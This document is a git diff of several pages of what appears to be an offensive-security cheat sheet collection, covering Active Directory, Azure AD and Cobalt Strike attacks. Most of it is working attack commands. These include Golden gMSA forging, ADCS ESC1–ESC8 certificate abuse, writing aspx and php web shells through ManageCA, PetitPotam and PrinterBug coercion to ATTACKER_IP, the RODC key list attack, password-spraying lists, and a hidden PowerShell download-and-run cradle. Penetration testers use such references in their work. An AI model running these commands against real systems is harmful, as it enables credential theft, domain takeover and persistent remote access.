* [KB5007247 - Windows Server 2012 R2](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007247-monthly-rollup-2c3b6017-82f4-4102-b1e2-36f366bf3520)
* [KB5008601 - Windows Server 2016](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008601-os-build-14393-4771-out-of-band-c8cd33ce-3d40-4853-bee4-a7cc943582b9)
* [KB5008602 - Windows Server 2019](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7)
* [KB5007205 - Windows Server 2022](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007205-os-build-20348-350-af102e6f-cc7c-4cd4-8dc2-8b08d73d2b31)
* [KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)
* [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
### Open Shares
> Some shares can be accessible without authentication, explore them to find some juicy files
@ -931,7 +1071,7 @@ PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'
# Create an immediate task
PS> Add-UserTask/Add-ComputerTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator
PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'
```
#### Abuse GPO with pyGPOAbuse
@ -1125,15 +1265,16 @@ lsadump::lsa /inject /name:krbtgt
Useful when you want to have the clear text password or when you need to make stats about weak passwords.
Recommended wordlists:
- rockyou (available in Kali Linux)
- Have I Been Powned (https://hashes.org/download.php?hashlistId=7290&type=hfound)
- Collection #1 (passwords from Data Breaches, might be illegal to possess)
- [Rockyou.txt](https://weakpass.com/wordlist/90)
- [Have I Been Pwned founds](https://hashmob.net/hashlists/info/4169-Have%20I%20been%20Pwned%20V8%20(NTLM))
- [Weakpass.com](https://weakpass.com/)
- Read More at [Methodology and Resources/Hash Cracking.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Hash%20Cracking.md)
```powershell
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane"
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r ./rules/best64.rule --opencl-device-types 1,2
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myrules.rule --opencl-device-types 1,2
# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
@ -1142,7 +1283,8 @@ $ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.
```
:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
- [hashes.org](https://hashes.org/check.php)
- [hashmob.net](https://hashmob.net)
- [crackstation.net](https://crackstation.net)
- [hashes.com](https://hashes.com/en/decrypt/hash)
### Password spraying
@ -1155,9 +1297,10 @@ Most of the time the best passwords to spray are :
- `P@ssw0rd01`, `Password123`, `Password1`, `Hello123`, `mimikatz`
- `Welcome1`/`Welcome01`
- $Companyname1 :` $Microsoft1`
- $Companyname1 :`$Microsoft1`
- SeasonYear : `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)
#### Kerberos pre-auth bruteforcing
@ -1247,40 +1390,7 @@ or dump the Active Directory and `grep` the content.
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
```
### Reading GMSA Password
> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically changed.
#### GMSA Attributes in the Active Directory
* `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password.
* `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts.
* `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
* `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.
#### Extract NT hash from the Active Directory
* [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) (C#)
```ps1
# https://github.com/rvazarkar/GMSAPasswordReader
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
```
* [gMSADumper (Python)](https://github.com/micahvandeusen/gMSADumper)
```powershell
# https://github.com/micahvandeusen/gMSADumper
python3 gMSADumper.py -u User -p Password1 -d domain.local
```
* Active Directory Powershell
```ps1
$gmsa = Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash1 = ConvertTo-NTHash -Password $mp.SecureCurrentPassword
```
* [gMSA_Permissions_Collection.ps1](https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1) based on Active Directory PowerShell module
### Reading LAPS Password
@ -1328,7 +1438,7 @@ Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
```
- From linux:
- From Linux:
* [pyLAPS](https://github.com/p0dalirius/pyLAPS) to **read** and **write** LAPS passwords:
```bash
@ -1354,6 +1464,68 @@ Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
```
### Reading GMSA Password
> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.
#### GMSA Attributes in the Active Directory
* `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password.
* `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts.
* `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
* `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.
#### Extract NT hash from the Active Directory
* [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) (C#)
```ps1
# https://github.com/rvazarkar/GMSAPasswordReader
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
```
* [gMSADumper (Python)](https://github.com/micahvandeusen/gMSADumper)
```powershell
# https://github.com/micahvandeusen/gMSADumper
python3 gMSADumper.py -u User -p Password1 -d domain.local
```
* Active Directory Powershell
```ps1
$gmsa = Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash1 = ConvertTo-NTHash -Password $mp.SecureCurrentPassword
```
* [gMSA_Permissions_Collection.ps1](https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1) based on Active Directory PowerShell module
### Forging Golden GMSA
> One notable difference between a **Golden Ticket** attack and the **Golden GMSA** attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.
* Using [GoldenGMSA](https://github.com/Semperis/GoldenGMSA)
```ps1
# Enumerate all gMSAs
GoldenGMSA.exe gmsainfo
# Query for a specific gMSA
GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112
# Dump all KDS Root Keys
GoldenGMSA.exe kdsinfo
# Dump a specific KDS Root Key
GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb
# Compute gMSA password
# --sid <gMSA SID>: SID of the gMSA (required)
# --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
# --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute value
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode
```
### Pass-the-Ticket Golden Tickets
Forging a TGT require the `krbtgt` NTLM hash
@ -1763,7 +1935,7 @@ root@kali:~$ klist
* LmCompatibilityLevel = 0x1: Send LM & NTLM (`reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel`)
**Exploitation**:
* Capturing using Responder: Edit the /etc/responder/Responder.conf file to include the magical **1122334455667788** challenge
* Capturing using Responder: Edit the `/etc/responder/Responder.conf` file to include the magical **1122334455667788** challenge
```ps1
HTTPS = On
DNS = On
@ -1773,7 +1945,7 @@ root@kali:~$ klist
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788
```
* Fire Responder: `responder -I eth0 --lm`
* Fire Responder: `responder -I eth0 --lm`, if `--disable-ess` is set, extended session security will be disabled for NTLMv1 authentication
* Force a callback:
```ps1
PetitPotam.exe Responder-IP DC-IP # Patched around August 2021
@ -2018,7 +2190,7 @@ secretsdump.py -k -no-pass target.lab.local
#### Relaying with WebDav Trick
> Example of exploitation where you can coerce machine accounts to authenticate to a host annd combine it with Resource Based Constrained Delegation to gain elevated access.
> Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB
**Requirement**:
* WebClient service
@ -2027,8 +2199,23 @@ secretsdump.py -k -no-pass target.lab.local
* Disable HTTP in Responder: `sudo vi /usr/share/responder/Responder.conf`
* Generate a Windows machine name: `sudo responder -I eth0`, e.g: WIN-UBNW4FI3AP0
* Prepare for RBCD against the DC: `python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support`
* Discover WebDAV using [GetWebDAVStatus](https://github.com/G0ldenGunSec/GetWebDAVStatus): `GetWebDAVStatus.exe 10.0.0.4`
* Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/pentestlab 10.0.0.4`
* Discover WebDAV services
```ps1
webclientservicescanner 'domain.local'/'user':'password'@'machine'
crackmapexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
GetWebDAVStatus.exe 'machine'
```
* Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.0.0.4`, the listener host must be specified with the FQDN or full netbios name like `logger.domain.local@80/test.txt`. Specifying the IP results in anonymous auth instead of System.
```ps1
# PrinterBug
dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
SpoolSample.exe "ATTACKER_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"
# PetitPotam
Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
```
* Use the created account to ask for a service ticket:
```ps1
.\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W'
@ -2040,7 +2227,8 @@ secretsdump.py -k -no-pass target.lab.local
### Active Directory Certificate Services
Find ADCS Server : `crackmapexec ldap domain.lab -u username -p password -M adcs`
* Find ADCS Server : `crackmapexec ldap domain.lab -u username -p password -M adcs`
* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`
#### ESC1 - Misconfigured Certificate Templates
@ -2055,14 +2243,16 @@ Exploitation:
* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
```
* Use Certify or [Certi](https://github.com/eloypgz/certi) to request a Certificate and add an alternative name (user to impersonate)
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
```ps1
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
```
* Use OpenSSL and convert the certificate, do not enter a password
```ps1
@ -2081,7 +2271,7 @@ Exploitation:
#### ESC2 - Misconfigured Certificate Templates
Requirements:
* Allows requesters to specify a SAN in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
Exploitation:
* Find template
@ -2091,6 +2281,110 @@ Exploitation:
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).
#### ESC3 - Misconfigured Enrollment Agent Templates
> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
* Request a certificate based on the vulnerable certificate template ESC3.
```ps1
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
[*] Saved certificate and private key to 'john.pfx'
```
* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
```ps1
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
```
#### ESC4 - Access Control Vulnerabilities
> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
```
* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
C:\>StandIn.exe --adcs --filter WebServer --ess --add
```
* Perform ESC1 and then restore the value
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
```
Using Certipy
```ps1
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
```
#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
Exploitation:
* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
```ps1
Certify.exe cas
```
* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names
```ps1
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
```
Mitigation:
* Remove the flag : `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
#### ESC7 - Vulnerable Certificate Authority Access Control
Exploitation:
* Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions
```ps1
Certify.exe find /vulnerable
```
* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
```ps1
Certify.exe setconfig /enablesan /restart
```
* Request the certificate with the desired SAN.
```ps1
Certify.exe request /template:User /altname:super.adm
```
* Grant approval if required or disable the approval requirement
```ps1
# Grant
Certify.exe issue /id:[REQUEST ID]
# Disable
Certify.exe setconfig /removeapproval /restart
```
Alternative exploitation from **ManageCA** to **RCE** on ADCS server:
```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly
# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
```
#### ESC8 - AD CS Relay Attack
> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controllers NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
@ -2134,7 +2428,7 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
```
* Version 3: ADCSPwn
* Version 3: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.
```powershell
https://github.com/bats3c/ADCSPwn
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
@ -2154,6 +2448,10 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
output - Output path to store base64 generated crt.
```
* Version 4: Certipy ESC8
```ps1
certipy relay -ca 172.16.19.100
```
### Dangerous Built-in Groups Usage
@ -2205,13 +2503,13 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
#### GenericAll
* **GenericAll on User** : We can reset user's password without knowing the current password
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group :
* On Windows : `net group "domain admins" spotless /add /domain`
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :
* On Windows : `net group "domain admins" hacker /add /domain`
* On Linux:
* using the Samba software suite :
`net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'AttackerUser%MyPassword' -W DOMAIN -I [DC IP]`
`net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]`
* using bloodyAD:
`bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword addObjectToGroup UserToAdd 'GROUP NAME'`
`bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'`
* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a TGS, then grab its hash and kerberoast it.
```powershell
@ -2387,11 +2685,15 @@ bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F38
> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.
* Impacket DcomExec.py
* Impacket DCOMExec.py
```ps1
dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>'
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'
python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe'
# -object MMC20 specifies that we wish to instantiate the MMC20.Application object.
# -silentcommand executes the command without attempting to retrieve the output.
```
* CheeseTools - https://github.com/klezVirus/CheeseTools
```powershell
@ -2936,6 +3238,27 @@ python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
```
### RODC - Read Only Domain Controller Compromise
> If the user is included in the **Allowed RODC Password Replication**, their credentials are stored in the server, and the **msDS-RevealedList** attribute of the RODC is populated with the username.
**Requirements**:
* [Impacket PR #1210 - The Kerberos Key List Attack](https://github.com/SecureAuthCorp/impacket/pull/1210)
* **krbtgt** credentials of the RODC (-rodcKey)
* **ID of the krbtgt** account of the RODC (-rodcNo)
**Exploitation**:
```ps1
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
# keylistattack.py defining a target username (-t flag)
keylistattack.py -kdc sever.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
```
### PXE Boot image attack
PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
@ -3252,3 +3575,14 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
* [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)
* [Lateral Movement WebClient](https://pentestlab.blog/2021/10/20/lateral-movement-webclient/)
* [Shadow Credentials: Workstation Takeover Edition - Matthew Creel](https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition)
* [Certificate templates - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/certificate-templates)
* [CA configuration - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/ca-configuration)
* [Access controls - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/access-controls)
* [Web endpoints - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/web-endpoints)
* [sAMAccountName spoofing - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing)
* [CVE-2021-42287/CVE-2021-42278 Weaponisation - @exploitph](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html)
* [ADCS: Playing with ESC4 - Matthew Creel](https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4)
* [The Kerberos Key List Attack: The return of the Read Only Domain Controllers - Leandro Cuozzo](https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/)
* [AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022](https://www.blackarrow.net/adcs-weaponizing-esc7-attack/)
* [AD CS: from ManageCA to RCE - 11 February, 2022 - Pablo Martínez, Kurosh Dabbagh](https://www.blackarrow.net/ad-cs-from-manageca-to-rce/)
* [Introducing the Golden GMSA Attack - YUVAL GORDON - March 01, 2022](https://www.semperis.com/blog/golden-gmsa-attack/)

View File

@ -13,6 +13,10 @@
* [Enumeration methodology](#enumeration-methodology)
* [Phishing with Evilginx2](#phishing-with-evilginx2)
* [Illicit Consent Grant](#illicit-consent-grant)
* [Register Application](#register-application)
* [Configure Application](#configure-application)
* [Setup 365-Stealer (Deprecated)](#setup-365-stealer-deprecated)
* [Setup Vajra](#setup-vajra)
* [Device Code Phish](#device-code-phish)
* [Token from Managed Identity](#token-from-managed-identity)
* [Azure API via Powershell](#azure-api-via-powershell)
@ -396,7 +400,7 @@ Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMS
* User.ReadBasic.All
* User.Read
### Setup 365-Stealer
### Setup 365-Stealer (Deprecated)
:warning: Default port for 365-Stealer phishing is 443
@ -425,6 +429,10 @@ Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMS
- `--refresh-token XXX --client-id YYY --client-secret ZZZ`: use a refresh token
- Find the Phishing URL: go to `https://<IP/Domain>:<Port>` and click on **Read More** button or in the console.
### Setup Vajra
> Vajra is a UI-based tool with multiple techniques for attacking and enumerating in the target's Azure environment. It features an intuitive web-based user interface built with the Python Flask module for a better user experience. The primary focus of this tool is to have different attacking techniques all at one place with web UI interfaces. - https://github.com/TROUBLE-1/Vajra
**Mitigation**: Enable `Do not allow user consent` for applications in the "Consent and permissions menu".

View File

@ -18,7 +18,8 @@ $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstri
* [Infrastructure](#infrastructure)
* [Redirectors](#redirectors)
* [Domain fronting](#domain-fronting)
* [OpSec](#opsec)
* [OpSec](#opsec)
* [Customer ID](#customer-id)
* [Payloads](#payloads)
* [DNS Beacon](#dns-beacon)
* [SMB Beacon](#smb-beacon)
@ -37,6 +38,7 @@ $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstri
* [Resource Kit](#resource-kit)
* [Artifact Kit](#artifact-kit)
* [Mimikatz Kit](#mimikatz-kit)
* [Beacon Object Files](#beacon-object-files)
* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
* [References](#references)
@ -53,14 +55,14 @@ socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
### Domain Fronting
* New Listener > HTTP Host Header
* Target Finance & Healthcare domains
* Choose a domain in "Finance & Healthcare" sector
### OpSec
## OpSec
**Don't**
* Change default self-signed HTTPS certificate
* Change default port (50050)
* 0.0.0.0 DNS response
* Use default self-signed HTTPS certificate
* Use default port (50050)
* Use 0.0.0.0 DNS response
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
**Do**
@ -69,9 +71,17 @@ socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
* Firewall 50050 and access via SSH tunnel
* Edit default HTTP 404 page and Content type: text/plain
* No staging `set hosts_stage` to `false` in Malleable C2
* Use Malleable Profile to taylor your attack to specific actors
### Customer ID
## Payload
> The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.
* The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
* The trial has a Customer ID value of 0.
* Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool
## Payloads
### DNS Beacon
@ -167,11 +177,14 @@ $ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\d
## Malleable C2
List of Malleable Profiles hosted on Github
* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
Example of syntax
```powershell
set useragent "SOME AGENT"; # GOOD
set useragent 'SOME AGENT'; # BAD
@ -186,75 +199,10 @@ prepend "!@#$%^&*()";
```
Check a profile with `./c2lint`.
```powershell
#
# Etumbot Profile
# http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/
#
# Author: @harmj0y
#
set sample_name "Etumbot";
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/image/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
